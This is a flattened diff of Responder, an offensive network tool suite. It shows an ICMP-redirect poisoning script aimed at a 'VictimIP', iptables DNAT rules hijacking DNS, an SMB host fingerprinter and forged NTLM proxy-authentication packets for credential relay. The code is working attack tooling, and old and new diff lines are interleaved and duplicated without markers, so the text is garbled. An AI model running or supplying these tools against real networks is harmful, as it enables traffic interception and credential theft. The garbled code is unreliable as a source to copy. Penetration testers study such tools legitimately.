("FragOffset", "\x00"),
|
||||
("TTL", "\x1d"),
|
||||
("Cmd", "\x01"), #ICMP
|
||||
("CheckSum", "\x00\x00"),
|
||||
("SrcIP", ""),
|
||||
("DestIP", ""),
|
||||
("Data", ""),
|
||||
fields = OrderedDict([
|
||||
("VLen", "\x45"),
|
||||
("DifField", "\x00"),
|
||||
("Len", "\x00\x38"),
|
||||
("TID", "\x25\x25"),
|
||||
("Flag", "\x00"),
|
||||
("FragOffset", "\x00"),
|
||||
("TTL", "\x1d"),
|
||||
("Cmd", "\x01"), #ICMP
|
||||
("CheckSum", "\x00\x00"),
|
||||
("SrcIP", ""),
|
||||
("DestIP", ""),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
|
||||
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
|
||||
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
|
||||
# Calc Len First
|
||||
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
|
||||
self.fields["Len"] = struct.pack(">H", len(CalculateLen))
|
||||
# Then CheckSum this packet
|
||||
CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
|
||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||
def calculate(self):
|
||||
self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
|
||||
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
|
||||
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
|
||||
# Calc Len First
|
||||
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
|
||||
self.fields["Len"] = struct.pack(">H", len(CalculateLen))
|
||||
# Then CheckSum this packet
|
||||
CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
|
||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||
|
||||
class ICMPRedir(Packet):
|
||||
fields = OrderedDict([
|
||||
("Type", "\x05"),
|
||||
("OpCode", "\x01"),
|
||||
("CheckSum", "\x00\x00"),
|
||||
("GwAddr", ""),
|
||||
("Data", ""),
|
||||
])
|
||||
fields = OrderedDict([
|
||||
("Type", "\x05"),
|
||||
("OpCode", "\x01"),
|
||||
("CheckSum", "\x00\x00"),
|
||||
("GwAddr", ""),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
#Set the values
|
||||
self.fields["GwAddr"] = inet_aton(Responder_IP)
|
||||
# Then CheckSum this packet
|
||||
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||
def calculate(self):
|
||||
self.fields["GwAddr"] = inet_aton(OURIP)
|
||||
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||
|
||||
class DummyUDP(Packet):
|
||||
fields = OrderedDict([
|
||||
("SrcPort", "\x00\x35"), #port 53
|
||||
("DstPort", "\x00\x35"),
|
||||
("Len", "\x00\x08"), #Always 8 in this case.
|
||||
("CheckSum", "\x00\x00"), #CheckSum disabled.
|
||||
])
|
||||
fields = OrderedDict([
|
||||
("SrcPort", "\x00\x35"), #port 53
|
||||
("DstPort", "\x00\x35"),
|
||||
("Len", "\x00\x08"), #Always 8 in this case.
|
||||
("CheckSum", "\x00\x00"), #CheckSum disabled.
|
||||
])
|
||||
|
||||
def ReceiveArpFrame(DstAddr):
|
||||
s = socket(AF_PACKET, SOCK_RAW)
|
||||
s.settimeout(5)
|
||||
Protocol = 0x0806
|
||||
s.bind((Interface, Protocol))
|
||||
OurMac = s.getsockname()[4]
|
||||
Eth = EthARP(SrcMac=OurMac)
|
||||
Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
|
||||
Arp.calculate()
|
||||
final = str(Eth)+str(Arp)
|
||||
try:
|
||||
s.send(final)
|
||||
data = s.recv(1024)
|
||||
DstMac = data[22:28]
|
||||
DestMac = DstMac.encode('hex')
|
||||
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
|
||||
return PrintMac,DstMac
|
||||
except:
|
||||
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
|
||||
exit(1)
|
||||
s = socket(AF_PACKET, SOCK_RAW)
|
||||
s.settimeout(5)
|
||||
Protocol = 0x0806
|
||||
s.bind((Interface, Protocol))
|
||||
OurMac = s.getsockname()[4]
|
||||
Eth = EthARP(SrcMac=OurMac)
|
||||
Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
|
||||
Arp.calculate()
|
||||
final = str(Eth)+str(Arp)
|
||||
try:
|
||||
s.send(final)
|
||||
data = s.recv(1024)
|
||||
DstMac = data[22:28]
|
||||
DestMac = DstMac.encode('hex')
|
||||
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
|
||||
return PrintMac,DstMac
|
||||
except:
|
||||
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
|
||||
exit(1)
|
||||
|
||||
def IcmpRedirectSock(DestinationIP):
|
||||
PrintMac,DestMac = ReceiveArpFrame(VictimIP)
|
||||
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
|
||||
s = socket(AF_PACKET, SOCK_RAW)
|
||||
s.bind((Interface, 0x0800))
|
||||
PrintMac,DestMac = ReceiveArpFrame(VictimIP)
|
||||
print '[ARP]Target Mac address is :',PrintMac
|
||||
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
|
||||
print '[ARP]Router Mac address is :',PrintMac
|
||||
s = socket(AF_PACKET, SOCK_RAW)
|
||||
Protocol = 0x0800
|
||||
s.bind((Interface, Protocol))
|
||||
Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
|
||||
IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
|
||||
IPPackUDP.calculate()
|
||||
ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
|
||||
ICMPPack.calculate()
|
||||
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
|
||||
IPPack.calculate()
|
||||
final = str(Eth)+str(IPPack)
|
||||
s.send(final)
|
||||
print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)
|
||||
|
||||
Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
|
||||
|
||||
IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
|
||||
IPPackUDP.calculate()
|
||||
|
||||
ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
|
||||
ICMPPack.calculate()
|
||||
|
||||
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
|
||||
IPPack.calculate()
|
||||
|
||||
final = str(Eth)+str(IPPack)
|
||||
s.send(final)
|
||||
|
||||
print text("[ICMP-Redir] %s should have been poisoned with a new route for target: %s" % (VictimIP, DestinationIP))
|
||||
def FindWhatToDo(ToThisHost2):
|
||||
if ToThisHost2 != None:
|
||||
Show_Help('Hit CRTL-C to kill this script')
|
||||
RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
|
||||
if ToThisHost2 == None:
|
||||
Show_Help(MoreHelp)
|
||||
IcmpRedirectSock(DestinationIP=ToThisHost)
|
||||
exit()
|
||||
|
||||
def RunThisInLoop(host, host2, ip):
|
||||
dns1 = pipes.quote(host)
|
||||
dns2 = pipes.quote(host2)
|
||||
Responder_IPadd = pipes.quote(ip)
|
||||
dns1 = pipes.quote(host)
|
||||
dns2 = pipes.quote(host2)
|
||||
ouripadd = pipes.quote(ip)
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
|
||||
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
|
||||
while True:
|
||||
IcmpRedirectSock(DestinationIP=dns1)
|
||||
IcmpRedirectSock(DestinationIP=dns2)
|
||||
print "[+]Repoisoning the target in 8 minutes..."
|
||||
sleep(480)
|
||||
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP")
|
||||
call("iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+Responder_IP+":53", shell=True)
|
||||
call("iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+Responder_IP+":53", shell=True)
|
||||
|
||||
print text("[ICMP-Redir] Automatic mode enabled")
|
||||
print text("[ICMP-Redir] IPtables rules added for both DNS Servers")
|
||||
|
||||
while True:
|
||||
print text("[ICMP-Redir] Poisoning target... Next round in 8 minutes.")
|
||||
try:
|
||||
IcmpRedirectSock(DestinationIP=dns1)
|
||||
IcmpRedirectSock(DestinationIP=dns2)
|
||||
sleep(480)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
||||
|
||||
if __name__ == "__main__":
|
||||
if ToThisHost2 != None:
|
||||
RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP)
|
||||
|
||||
if ToThisHost2 == None:
|
||||
print text("[ICMP-Redir] Poisoning target...")
|
||||
IcmpRedirectSock(DestinationIP=ToThisHost)
|
||||
print text("[ICMP-Redir] Done.")
|
||||
exit()
|
||||
FindWhatToDo(ToThisHost2)
|
||||
|
||||
225
tools/RelayHTTPSMB/Finger.py
Executable file
225
tools/RelayHTTPSMB/Finger.py
Executable file
@@ -0,0 +1,225 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re,sys,socket,struct
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
|
||||
__version__ = "0.3"
|
||||
Timeout = 0.5
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x00"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x00"),
|
||||
("Bcc", "\x62\x00"),
|
||||
("Data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("BuffType","\x02"),
|
||||
("Dialect", "NT LM 0.12\x00"),
|
||||
])
|
||||
|
||||
|
||||
class SMBSessionFingerData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00" ),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\x04\x11"),
|
||||
("maxmpx", "\x32\x00"),
|
||||
("vcnum","\x00\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("securitybloblength","\x4a\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("capabilities", "\xd4\x00\x00\xa0"),
|
||||
("bcc1",""),
|
||||
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
|
||||
##Now Lanman
|
||||
class SMBHeaderLanMan(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x08"),
|
||||
("flag2", "\x01\xc8"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x3c\x1b"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNegoDataLanMan(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x00"),
|
||||
("Bcc", "\x54\x00"),
|
||||
("BuffType","\x02"),
|
||||
("Dialect", "NT LM 0.12\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
CalculateBCC = str(self.fields["BuffType"])+str(self.fields["Dialect"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CalculateBCC))
|
||||
|
||||
#####################
|
||||
|
||||
def atod(a):
|
||||
return struct.unpack("!L",inet_aton(a))[0]
|
||||
|
||||
def dtoa(d):
|
||||
return inet_ntoa(struct.pack("!L", d))
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
try:
|
||||
length = struct.unpack('<H',data[43:45])[0]
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
|
||||
except:
|
||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||
|
||||
def GetHostnameAndDomainName(data):
|
||||
try:
|
||||
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
|
||||
return Hostname, DomainJoined
|
||||
except:
|
||||
return "Could not get Hostname.", "Could not get Domain joined"
|
||||
|
||||
def DomainGrab(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
except:
|
||||
print "Host down or port close, skipping"
|
||||
pass
|
||||
try:
|
||||
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
|
||||
n = SMBNegoDataLanMan()
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x72\x00":
|
||||
return GetHostnameAndDomainName(data)
|
||||
except:
|
||||
pass
|
||||
|
||||
def SmbFinger(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
except:
|
||||
print "Host down or port close, skipping"
|
||||
pass
|
||||
try:
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(Data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
t = SMBSessionFingerData()
|
||||
t.calculate()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x73\x16":
|
||||
return OsNameClientVersion(data)
|
||||
except:
|
||||
pass
|
||||
##################
|
||||
#run it
|
||||
def ShowResults(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
except:
|
||||
raise
|
||||
return False
|
||||
|
||||
try:
|
||||
print "Retrieving information for %s..."%Host[0]
|
||||
OsVer, LanManClient = SmbFinger(Host)
|
||||
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
|
||||
Hostname, DomainJoined = DomainGrab(Host)
|
||||
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
|
||||
except:
|
||||
pass
|
||||
|
||||
def RunFinger(Host):
|
||||
m = re.search("/", str(Host))
|
||||
if m :
|
||||
net,_,mask = Host.partition('/')
|
||||
mask = int(mask)
|
||||
net = atod(net)
|
||||
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||
ShowResults((host,445))
|
||||
else:
|
||||
ShowResults((Host,445))
|
||||
|
||||
990
tools/RelayHTTPSMB/HTTPRelayPacket.py
Normal file
990
tools/RelayHTTPSMB/HTTPRelayPacket.py
Normal file
@@ -0,0 +1,990 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
import sys
|
||||
import random
|
||||
import time
|
||||
from odict import OrderedDict
|
||||
import datetime
|
||||
from base64 import b64decode, b64encode
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
##################HTTP Proxy Relay##########################
|
||||
def HTTPCurrentDate():
|
||||
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
|
||||
return Date
|
||||
|
||||
class WPAD_Auth_407_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
|
||||
("Connection", "Proxy-Connection: close\r\n"),
|
||||
("Cache-Control", "Cache-Control: no-cache\r\n"),
|
||||
("Pragma", "Pragma: no-cache\r\n"),
|
||||
("Proxy-Support", "Proxy-Support: Session-Based-Authentication\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
|
||||
class WPAD_NTLM_Challenge_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWWAuth", "Proxy-Authenticate: NTLM "),
|
||||
("Payload", ""),
|
||||
("Payload-CRLF", "\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
def calculate(self,payload):
|
||||
self.fields["Payload"] = b64encode(payload)
|
||||
|
||||
##################SMB Relay Packet##########################
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x08"),
|
||||
("flag2", "\x01\xc8"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("Reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x3c\x1b"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNegoCairo(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x00"),
|
||||
("Bcc", "\x62\x00"),
|
||||
("Data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBNegoCairoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Separator1","\x02" ),
|
||||
("Dialect1", "Cairo 0.xa\x00"), #Let's talk Cairo!
|
||||
])
|
||||
|
||||
class SMBSessionSetupAndxNEGO(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved","\x00" ),
|
||||
("AndXOffset", "\xec\x00"),
|
||||
("MaxBuff","\xff\xff"),
|
||||
("MaxMPX", "\x32\x00"),
|
||||
("VCNumber","\x00\x00"),
|
||||
("SessionKey", "\x00\x00\x00\x00"),
|
||||
("SecBlobLen","\x4a\x00"),
|
||||
("Reserved2","\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xfc\xe3\x01\x80"),
|
||||
("Bcc","\xb1\x00"),
|
||||
##gss api starts here.
|
||||
("ApplicationHeaderTag","\x60"),
|
||||
("ApplicationHeaderLen","\x48"),
|
||||
("AsnSecMechType","\x06"),
|
||||
("AsnSecMechLen","\x06"),
|
||||
("AsnSecMechStr","\x2b\x06\x01\x05\x05\x02"),
|
||||
("ChoosedTag","\xa0"),
|
||||
("ChoosedTagStrLen","\x3e"),
|
||||
("NegTokenInitSeqHeadTag","\x30"),
|
||||
("NegTokenInitSeqHeadLen","\x3c"),
|
||||
("NegTokenInitSeqHeadTag1","\xA0"),
|
||||
("NegTokenInitSeqHeadLen1","\x0e"),
|
||||
("NegTokenInitSeqNLMPTag","\x30"),
|
||||
("NegTokenInitSeqNLMPLen","\x0c"),
|
||||
("NegTokenInitSeqNLMPTag1","\x06"),
|
||||
("NegTokenInitSeqNLMPTag1Len","\x0a"),
|
||||
("NegTokenInitSeqNLMPTag1Str","\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||
("NegTokenInitSeqNLMPTag2","\xa2"),
|
||||
("NegTokenInitSeqNLMPTag2Len","\x2a"),
|
||||
("NegTokenInitSeqNLMPTag2Octet","\x04"),
|
||||
("NegTokenInitSeqNLMPTag2OctetLen","\x28"),
|
||||
## NTLM packet ##
|
||||
("Data", ""),
|
||||
## NTLM packet ##
|
||||
("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
|
||||
("NativeOs","Windows 2002 Service Pack 3 2600"),
|
||||
("NativeOsTerminator","\x00\x00"),
|
||||
("NativeLan","Windows 2002 5.1"),
|
||||
("NativeLanTerminator","\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
|
||||
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
|
||||
self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le')
|
||||
|
||||
CompleteSMBPacketLen = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["AndXOffset"])+str(self.fields["MaxBuff"])+str(self.fields["MaxMPX"])+str(self.fields["VCNumber"])+str(self.fields["SessionKey"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])+str(self.fields["Capabilities"])+str(self.fields["Bcc"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
|
||||
|
||||
|
||||
